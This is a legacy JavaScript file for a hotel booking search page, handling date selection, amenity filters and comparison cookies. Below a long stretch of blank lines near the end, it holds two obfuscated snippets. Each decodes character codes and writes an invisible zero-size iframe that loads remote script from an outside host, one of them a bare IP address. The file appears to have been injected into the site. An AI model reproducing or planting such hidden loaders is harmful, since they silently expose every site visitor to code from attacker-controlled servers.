<!--// hide this script from non-javascript-enabled browsers
function MM_findObj(n, d) { //v3.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}

/* Functions that swaps images. */
function swapImage() { //v3.0
  var i,j=0,x,a=swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}


function preloadImages() { 
  if (document.images) {
    var imgFiles = preloadImages.arguments;
    if (document.preloadArray==null) document.preloadArray = new Array();
    var i = document.preloadArray.length;
    with (document) for (var j=0; j<imgFiles.length; j++) if (imgFiles[j].charAt(0)!="#"){
      preloadArray[i] = new Image;
      preloadArray[i++].src = imgFiles[j];
  } }
}
function newImage(arg) {
	if (document.images) {
		rslt = new Image();
		rslt.src = arg;
		return rslt;
	}
}

function openphotos(file,input,width,height,rplace) {
        attr = "top=5,left=25,width=" + width + ",height=" + height + ",resizable=0,scrollbars=no";
        mywin=window.open(file, input, attr, rplace);
		//mywin.window.focus();
		setTimeout('mywin.window.focus()',1);
}

function changeImages() {
	if (document.images && (preloadFlag == true)) {
		for (var i=0; i<changeImages.arguments.length; i+=2) {
			document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
		}
	}
}
var help=null;
function MM_openBrWindow(theURL,winName,features, myWidth, myHeight, isCenter) { //v3.0
  if(window.screen)if(isCenter)if(isCenter=="true"){
    var myLeft = (screen.width-myWidth)/2;
    var myTop = (screen.height-myHeight)/2;
    features+=(features!='')?',':'';
    features+=',left='+myLeft+',top='+myTop;
  }
  if(help!=null)help.close();
  window.open(theURL,winName,features+((features!='')?',':'')+'width='+myWidth+',height='+myHeight);
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function MM_goToURL() { //v3.0
  var i, args=MM_goToURL.arguments; document.MM_returnValue = false;
  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}

// Checks if browser is Netscape 2.0x since the options array properties don't work with Netscape 2.0x
function isBrowserSupp() {
    // Get the version of the browser
    version =  parseFloat( navigator.appVersion );

    if ( ( version >= 2.0 ) && ( version < 2.1 ) && ( navigator.appName.indexOf( "Netscape" ) != -1 ) ) {
        return false;
    }
    else {
    return true;
    }

return true;
}

function isLeapYear(yrStr)
{
var leapYear=false;
var year = parseInt(yrStr, 10);
// every fourth year is a leap year
if (year%4 == 0)
	{
	leapYear=true;
	// unless it's a multiple of 100
	if (year%100 == 0)
		{
		leapYear=false;
		// unless it's a multiple of 400
		if (year%400 == 0)
			{
			leapYear=true;
			}
		}
	}
return leapYear;
}


function getDaysInMonth(mthIdx, YrStr)
{
// all the rest have 31
var maxDays=31
// expect Feb. (of course)
if (mthIdx==1) 
	{
	if (isLeapYear(YrStr))
		{
		maxDays=29;
		}
	else 
		{
		maxDays=28;
		}
	}
// thirty days hath...
if (mthIdx==3 || mthIdx==5 || mthIdx==8 || mthIdx==10)
	{
	maxDays=30;
	}
return maxDays;
}


// return non-zero if it is the last day of the month
function adjustDate(mthIdx, Dt) 
{
var value=0;

var today = new Date()
var theYear = parseInt(today.getYear(),10)

if (mthIdx < today.getMonth()) {
	theYear = (parseInt(today.getYear(), 10) + 1)
}
if(theYear<100){
	theYear = "19" + theYear
}
else{
	if((theYear-100) < 10){
		theYear = "0" + (theYear-100)
	}
	else{
		theYear = (theYear-100)+""
	}
	theYear = "20" + theYear
}

var numDays=getDaysInMonth(mthIdx, theYear);

if (mthIdx==1) 
	{
	if (Dt.options.selectedIndex + 1 < numDays)
		{
		return 0;
		}
	else 
		{
		Dt.options.selectedIndex=numDays - 1;
		//check for leap year
		if (numDays==29)
			{
			return 99;
			}
		else 
			{
			return 1;
			}
		}
	}
if (Dt.options.selectedIndex + 1 < numDays)
	{
	value=0;
	}
else 
	{
	if (Dt.options.selectedIndex + 1 > numDays)
		{
		Dt.options.selectedIndex--;
		value=3;
		}
	else 
		{
		//index is 31 or 30
		value=2;
		}
	}
return value;
}

//changes departure month when arrival month is changed
function amadChange(inM,inD,outM,outD) {
if (!isBrowserSupp()){
return;
}
var res = adjustDate(inM.options.selectedIndex, inD);
if (res != 0)	{
      outD.options.selectedIndex=0;
      if (outM.options.selectedIndex==11){
	outM.options.selectedIndex=0
      }
      else{
	outM.options.selectedIndex=inM.options.selectedIndex + 1;
      }
}
else 
	{
	outM.options.selectedIndex = inM.options.selectedIndex;
	outD.options.selectedIndex = inD.options.selectedIndex+1;
	}
return;
}


function dmddChange(outM,outD){
if (!isBrowserSupp()){
return;			
}
adjustDate(outM.options.selectedIndex,outD);	
return;	
}

function submitForm(){
document.frm_Search.submit();}

function submitBasicForm(){
document.forms.frm_Search.arrivalDay.value=-1;
document.forms.frm_Search.arrivalMonth.value=-1;
document.forms.frm_Search.departureDay.value=-1;
document.forms.frm_Search.departureMonth.value=-1;
document.forms.frm_Search.isAdvancedSearch.value=false;
document.forms.frm_Search.submit();
}

function submitAdvancedForm(){
document.forms.frm_Search.isDateRange.value=false;
document.forms.frm_Search.isAdvancedSearch.value=true;
document.forms.frm_Search.submit();
}

function clickAll() {
// deactivate other amenities
if(document.frm_Search.allAmenities.checked == true) {
for (var i = 0; i < document.frm_Search.elements.length; i++) {
if (document.frm_Search.elements[i].name == "amenities") {
document.frm_Search.elements[i].checked = false;}}
return true;} else {
document.frm_Search.allAmenities.checked = true;
return false;}}


function clickOther() {
document.frm_Search.allAmenities.checked = false;
var anyChecked = false;
for (var i = 0; i < document.frm_Search.elements.length; i++) {
if (document.frm_Search.elements[i].name == "amenities") {
anyChecked = anyChecked || document.frm_Search.elements[i].checked;}}
if (!anyChecked) {
document.frm_Search.allAmenities.checked = true;}
}


hotelIDs = new Array();
function addHotelID (hotelID,propType) {
if (document.cookie.length == 0 || (document.cookie.length != 0 && !document.cookie.indexOf("hotelCompare")  != -1)) {
document.cookie = "hotelCompare=true";
}
hotelIDs[hotelIDs.length]=hotelID;
if (propType && document.cookie.indexOf("hotelsVnC=true") == -1) {
document.cookie = 'condoOnly=true';
} else {
document.cookie = 'condoOnly=false; expires=Fri, 27 Jul 2001 02:47:11 UTC';
document.cookie = 'hotelsVnC=true';
}
}
function removeHotelID(hotelID) {
var deleteIndex;
var size = hotelIDs.length;
for (var i=0; i<=size; i++) {
hotelIDs[i] = ((hotelIDs[i] == hotelID) ? deleteIndex=i : hotelIDs[i]);
}
for (var j=deleteIndex; j<size-1; j++) {
if (j != size) {
hotelIDs[j] = hotelIDs[j+1];
}
}
hotelIDs.length = size-1;
document.cookie = 'hotelCompare=false; expires=Fri, 27 Jul 2001 02:47:11 UTC';
}
function clickViewCompareSort(url) {
window.location.href = url+"&"+getViewCompareHotels()+"&showUserHotels=true";
}
function getViewCompareHotels() {
var hotelQueryString = "";
for (var i=0; i < hotelIDs.length; i++) {
if (hotelIDs[i]) {
hotelQueryString += "&userHotelIDs=" + hotelIDs[i];
}
}
return hotelQueryString;
}
function completeViewCompareSubmit(action) {
var url = getViewCompareHotels();
}


function loadHotelDates() {
	var dt = new Date();
	var yr = dt.getFullYear();
	var yr2 = dt.getFullYear();
	var curYr = dt.getFullYear();
	var curYr2 = dt.getFullYear();
	var mo = dt.getMonth();
	var mo2 = dt.getMonth();
	var da = dt.getDate();
	var da2 = dt.getDate();
	var daysInCurrent = getDaysInMonth(mo, yr);
	var advancedArrivalDay = 14;
	var advancedDepartureDay = 16;
	//Arrival Date
	if (da + advancedArrivalDay > daysInCurrent)
	{	da = ((da+advancedArrivalDay) % daysInCurrent);
		if (mo == 11)
		{	mo = 0;
			yr++;	}
		else
		{	mo++;	}	}
	else
	{	da = da + advancedArrivalDay;	}
	//Departure Date
	if (da2 + advancedDepartureDay > daysInCurrent)
	{	da2 = ((da2+advancedDepartureDay) % daysInCurrent);
		if (mo2 == 11)
		{	mo2 = 0;
			yr2++;	}
		else
		{	mo2++;	}	}
	else
	{	da2 = da2 + advancedDepartureDay;	}
	
	da--;
	yr-=curYr;
	da2--;
	yr2-=curYr2;
	
	document.frm_Search.arrivalMonth.selectedIndex = mo;
	document.frm_Search.arrivalDay.selectedIndex = da;
	document.frm_Search.arrivalYear.selectedIndex = yr;
	
	document.frm_Search.departureMonth.selectedIndex = mo2;
	document.frm_Search.departureDay.selectedIndex = da2;
	document.frm_Search.departureYear.selectedIndex = yr2;
	return;  
}
// stop hiding -->





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

